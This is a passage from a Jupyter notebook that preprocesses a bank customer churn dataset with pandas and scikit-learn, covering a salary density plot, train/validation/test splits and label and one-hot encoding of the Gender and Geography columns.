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\n" + }, + "metadata": {} + } + ], + "source": [ + "## EstimatedSalary\n", + "## When dealing with numerical characteristics, one of the most useful statistics to examine is the data distribution.\n", + "## we can use Kernel-Density-Estimation plot for that purpose. \n", + "sns.kdeplot(dc.EstimatedSalary)" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "id": "HI0PD7DHpEws" + }, + "outputs": [], + "source": [ + "## Separating out different columns into various categories as defined above\n", + "target_var = ['Exited']\n", + "cols_to_remove = ['RowNumber', 'CustomerId']\n", + "# numerical columns\n", + "num_feats = ['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'EstimatedSalary']\n", + "# categorical columns\n", + "cat_feats = ['Surname', 'Geography', 'Gender', 'HasCrCard', 'IsActiveMember']" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "id": "oC9xqq6ApEws" + }, + "outputs": [], + "source": [ + "## Separating out target variable and removing the non-essential columns\n", + "y = dc[target_var].values\n", + "dc.drop(cols_to_remove, axis=1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "W6Km_4cKpEwt", + "outputId": "4a0a4c45-e0ad-4431-86b8-4bf079def023" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((7920, 12), (1080, 12), (1000, 12), (7920,), (1080,), (1000,))" + ] + }, + "metadata": {}, + "execution_count": 6 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "(0.20303030303030303, 0.22037037037037038, 0.191)" + ] + }, + "metadata": {}, + "execution_count": 6 + } + ], + "source": [ + "## Keeping aside a test/holdout set\n", + "dc_train_val, dc_test, y_train_val, y_test = train_test_split(dc, y.ravel(), test_size = 0.1, random_state = 42)\n", + "\n", + "## Splitting into train and validation set\n", + "dc_train, dc_val, y_train, y_val = train_test_split(dc_train_val, y_train_val, test_size = 0.12, random_state = 42)\n", + "dc_train.shape, dc_val.shape, dc_test.shape, y_train.shape, y_val.shape, y_test.shape\n", + "np.mean(y_train), np.mean(y_val), np.mean(y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "KIM3LMSXpEww", + "outputId": "7d466e0a-7683-489e-d002-10d91b77415f" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Surname 0\n", + "CreditScore 0\n", + "Geography 0\n", + "Gender 0\n", + "Age 0\n", + "Tenure 0\n", + "Balance 0\n", + "NumOfProducts 0\n", + "HasCrCard 0\n", + "IsActiveMember 0\n", + "EstimatedSalary 0\n", + "Exited 0\n", + "dtype: int64" + ] + }, + "metadata": {}, + "execution_count": 26 + } + ], + "source": [ + "## No missing values!\n", + "dc_train.isnull().sum()" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "c2CmcTAWpEwy", + "outputId": "91187eef-6c88-4a3b-9cdb-031784c50a06" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'Female': 0, 'Male': 1}" + ] + }, + "metadata": {}, + "execution_count": 7 + } + ], + "source": [ + "## label encoding With the sklearn method\n", + "le = LabelEncoder()\n", + "## Label encoding of Gender variable\n", + "dc_train['Gender'] = le.fit_transform(dc_train['Gender'])\n", + "le_gender_mapping = dict(zip(le.classes_, le.transform(le.classes_)))\n", + "le_gender_mapping" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "id": "P_XEWUUipEwz" + }, + "outputs": [], + "source": [ + "## Encoding Gender feature for validation and test set\n", + "dc_val['Gender'] = dc_val.Gender.map(le_gender_mapping)\n", + "dc_test['Gender'] = dc_test.Gender.map(le_gender_mapping)\n", + "\n", + "## Filling missing/NaN values created due to new categorical levels\n", + "dc_val['Gender'].fillna(-1, inplace=True)\n", + "dc_test['Gender'].fillna(-1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "2raxwssLpEwz", + "outputId": "c8479807-c6cb-4ea0-a4f5-9d943a4642d3" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "(array([1, 0]), array([1, 0]), array([1, 0]))" + ] + }, + "metadata": {}, + "execution_count": 9 + } + ], + "source": [ + "dc_train.Gender.unique(), dc_val.Gender.unique(), dc_test.Gender.unique()" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "id": "VeX7pypSpEw0" + }, + "outputs": [], + "source": [ + "## With the sklearn method(LabelEncoder())\n", + "le_ohe = LabelEncoder()\n", + "ohe = OneHotEncoder(handle_unknown = 'ignore', sparse=False)\n", + "enc_train = le_ohe.fit_transform(dc_train.Geography).reshape(dc_train.shape[0],1)" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "t5ntrXzI8s4r", + "outputId": "b7540375-0b1c-4e17-c644-2e5a7b912fe4" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([[0., 1., 0.],\n", + " [1., 0., 0.],\n", + " [1., 0., 0.],\n", + " ...,\n", + " [1., 0., 0.],\n", + " [0., 1., 0.],\n", + " [0., 1., 0.]])" + ] + }, + "metadata": {}, + "execution_count": 11 + } + ], + "source": [ + "ohe_train = ohe.fit_transform(enc_train)\n", + "ohe_train" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "DZuwMfCwpEw0", + "outputId": "67a08f44-14c8-45ed-8672-84cfac94f88a" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'France': 0, 'Germany': 1, 'Spain': 2}" + ] + }, + "metadata": {}, + "execution_count": 12 + } + ], + "source": [ + "## mapping between classes\n", + "le_ohe_geography_mapping = dict(zip(le_ohe.classes_, le_ohe.transform(le_ohe.classes_)))\n", + "le_ohe_geography_mapping" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": { + "id": "SqPttJ_apEw1" + }, + "outputs": [], + "source": [ + "## Encoding Geography feature for validation and test set\n", + "enc_val = dc_val.Geography.map(le_ohe_geography_mapping).ravel().reshape(-1,1)\n", + "enc_test = dc_test.Geography.map(le_ohe_geography_mapping).ravel().reshape(-1,1)\n", + "\n", + "## Filling missing/NaN values created due to new categorical levels\n", + "enc_val[np.isnan(enc_val)] = 9999\n", + "enc_test[np.isnan(enc_test)] = 9999" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": { + "id": "JbxpVmmDpEw1" + }, + "outputs": [], + "source": [ + "ohe_val = ohe.transform(enc_val)\n", + "ohe_test = ohe.transform(enc_test)" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "HPzl5y45pEw1", + "outputId": "57489d3c-451d-4bea-bf8c-adf4a46ec3a9" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([[0., 0., 0.]])" + ] + }, + "metadata": {}, + "execution_count": 15 + } + ], + "source": [ + "### Show what happens when a new value is inputted into the OHE \n", + "ohe.transform(np.array([[9999]]))" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IiLvyZFepEw1", + "outputId": "c205c9a4-9d23-454a-8e7c-670ead5ac3aa" + }, + "outputs": [ + { + "output_type": "execute_result", + 